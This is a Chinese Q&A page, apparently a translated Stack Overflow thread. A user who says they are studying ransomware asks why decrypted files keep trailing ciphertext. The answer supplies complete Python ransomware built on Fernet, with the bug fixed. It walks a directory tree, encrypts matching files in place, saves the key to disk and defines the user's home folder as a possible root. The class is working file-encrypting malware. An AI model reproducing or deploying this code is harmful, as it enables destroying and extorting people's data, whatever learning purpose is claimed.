0

我正在研究勒索软件以供学习。

所以我复制并粘贴它并像这样编辑它 但是当我加密和解密文本文件时,它会附加一个看起来像随机字符串的字符串。我该如何解决这个问题?

像:

Hello, World!

Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==

使用此密钥文件:

aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=
4

1 回答 1

1

问题是您先加密然后解密。您的加密和解密功能工作正常问题是您总是寻求文件的开头写入任何更改这将适用于加密并且如果明文和密文大小相同(无填充)则适用于解密) 但会在文件开头放置与密文大小不同的解密明文,并使文件的其余部分保持不变,因此您需要截断密文的其余部分。

import os
from os.path import expanduser
from cryptography.fernet import Fernet


class Ransomware(object):
    def __init__(self):
        self.key = None
        self.cryptor = None
        self.file_ext_targets = ["txt"]  # Type of files, you're going to encrypt

    def generate_key(self):
        self.key = Fernet.generate_key()
        self.cryptor = Fernet(self.key)

    def read_key(self, keyfile_name):
        with open(keyfile_name, "rb") as f:
            self.key = f.read()
            self.cryptor = Fernet(self.key)

    def write_key(self, keyfile_name):
        print(self.key)
        with open(keyfile_name, "wb") as f:
            f.write(self.key)

    def crypt_root(self, root_dir, encrypted=False):
        for root, _, files in os.walk(root_dir):
            for f in files:
                abs_file_path = os.path.join(root, f)
                if not abs_file_path.split(".")[-1] in self.file_ext_targets:
                    continue
                self.crypt_file(abs_file_path, encrypted=encrypted)

    def crypt_file(self, file_path, encrypted=False):


        with open(file_path, "rb+") as f:
            _data = f.read()
            if not encrypted:
                # Encrypt
                print()
                data = self.cryptor.encrypt(_data)
                f.seek(0)
                f.write(data)

            else:
                data = self.cryptor.decrypt(_data)
                print(f"File content before encryption: {data}")
                f.seek(0)
                f.write(data)
                f.truncate()

sys_root = expanduser("~")
local_root = "."

keyfile = "./keyfile"

ransom = Ransomware()


def encrypt():
    ransom.generate_key()
    ransom.write_key("keyfile")
    ransom.crypt_root(local_root)


def decrypt():
    ransom.read_key(keyfile)
    ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()
于 2021-02-05T08:37:19.643 回答